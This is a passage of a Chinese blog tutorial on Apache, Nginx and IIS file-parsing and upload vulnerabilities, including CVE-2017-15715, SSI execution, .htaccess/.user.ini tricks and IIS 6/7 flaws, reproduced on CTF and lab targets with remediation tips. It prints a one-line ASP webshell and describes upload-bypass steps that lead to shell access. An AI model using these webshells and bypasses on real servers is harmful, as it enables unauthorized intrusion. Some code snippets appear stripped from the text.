  • 漏洞修复:将AddHandler application/x-httpd-php.php配置文件删除。

15. Apache换行解析漏洞(CVE-2017-15715)
  • 知识小点:将linux下文件复制到docker容器中:
    第一步:查看docker容器名,或者容器短ID
#查看当前运行容器:
docker ps
#查看所有容器:
docker ps -a 


第二步:查看容器的长ID

docker inspect -f '{{.ID}}' 容器名/短ID


第三步:将文件复制到docker容器中

docker cp 本地路径 容器长ID:目标路径

  • 漏洞原理:由于修复后缀名解析漏洞,用正则来匹配后缀。在解析文件phpinfo.php[0x0A]时会将文件当做php文件进行解析,导致绕过服务器的一些安全策略
  • 漏洞存在版本:apache的2.4.0~2.4.29
  • 漏洞复现:
    这里我们需要自己添加前端源码,将以下的前端代码添加到index.php,这里就要用到以上向容器中复制文件的步骤,当然还有一种简单的方法,就是打开F12页面,将下面HTML源代码添加上去即可
 

        

           

                

          
          

从源码中可以看出这里对php等文件后缀进行了黑名单过滤

添加源码后,访问的主页:

  • 上传phpinfo.php文件,并将其重命名为a.php

    在上传前使用burp将a.php修改为a.php[0x0a],然后Send

    访问上传的文件a.php[0x0a],可以发现已经将文件解析为php格式
http://192.168.30.209:8080/a.php%0a


然后就可以上传恶意的php代码,进行phpj解析,反dshell等 *** 作

  • 漏洞修复:升级Apache版本,在源码中对用户上传的文件名进行检查,过滤[0x0a]
16. Apache远程命令执行漏洞(ssi-rce)
  • 漏洞原理:这是一个配置不当造成的解析漏洞,和nginx的版本无关。如果服务器开启了SSI(Server Side Include)与CGI支持,我们可以上传一个.shtml文件,内容类似这样形式去执行任意命令,

  • 漏洞复现:
    访问upload.php,上传php文件发现上传失败

    上传一个exec.shtml文件,内容为

    访问上传的文件,发现成功执行命令

17. Apache htaccess文件上传漏洞
  • 分布式配置文件htaccess
    漏洞复现:BUUCTF-你传你呢
  1. 写一个.htaccess文件用于将.jpg解析成.php

  2. 上传时注意修改类型image/jpeg

  3. 上传假图片头马

  4. 蚁剑连接

  5. 查看flag

18. Apache、Nginx和IIS等.user.ini文件上传漏洞
  • 漏洞原理:只要是fastcgi运行php,都可以修改.user.ini来造成解析漏洞

漏洞复现:BUUCTF-CheckIn
原著

.user.ini是什么? 上传.user.ini文件,条件如下:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
服务器以fastcgi启动运行的时候,.user.ini也是php的一种配置文件,php.ini是php的配置文件,它可以做到显示报错,导入扩展,文件解析,web站点路径等等设置。但是如果想要把某个文件里面的配置与全局的php.ini不同,则可以在php文件中加上ini_set()来配置特定的配置变量。
而.user.ini和.htaccess一样是对当前目录的所以php文件的配置设置,即写了.user.ini和它同目录的文件会优先使用.user.ini中设置的配置属性。
但是不是php.ini中的每个变量都能通过ini_set()或者.user.ini和.htaccess来设置,简单的来说每个变量有它所属于的模式。
auto_prepend_file=abc.jpg
这个auto_prepend_file就是指定一个文件在主文件解析前解析。这个配置在涉及到FPM的题里可以说是非常常见了,几乎每次和FPM有关的题都要利用这个配置

  1. 上传.user.ini

  1. 上传abc.jpg,这样写的原因是因为源码对上传的文件过滤了

  2. 访问上传路径的主页,出现GIF89a

  3. 访问php主页信息

  4. 查看flag

IIS 19. IIS 6.X解析漏洞

IIS(Internet Information Services)目前只适用于Windows系统

  • 影响版本:IIS 6.X

  • 一、基于文件名

  • 漏洞原理:该版本会将形如*.asp;.jpg这种格式的文件,当成asp解析,原理是服务器默认不解析;后面的内容,起到了截断作用

  • 这里拿了大佬的图

  • IIS6.X不仅会将.asp后缀文件解析成asp文件,也会将asa,cer,cdx文件解成asp文件

  • 二、基于目录名
    该漏洞会将*.asp/目录下的文件都当做.asp文件进行解析

  • 漏洞复现:这里直接使用墨者学院靶场

上传asp一句话木马

<%eval request("shell")%


burp抓包修改文件夹名

上传成功

蚁剑成功连接

查看flag

漏洞修复:官方并不认为这是一个漏洞,并没有推出漏洞补丁,所以这里需要自行修复,修复方法:

  1. 限制上传目录执行权力,不允许执行脚本
  2. 禁止用户创建文件夹
  3. 对用户上传的文件进行重命名(时间戳+随机数+.jpg)
20. IIS 7.X解析漏洞

IIS在Fast-CGI运行模式下,在任意文件后面加上/.php都会将文件解析成php文件,例:访问test.jpg文件时,在后面加上/.php将会将文件解析成php格式

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5181116.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-11-19
下一篇 2022-11-18

发表评论

登录后才能评论

评论列表(0条)

保存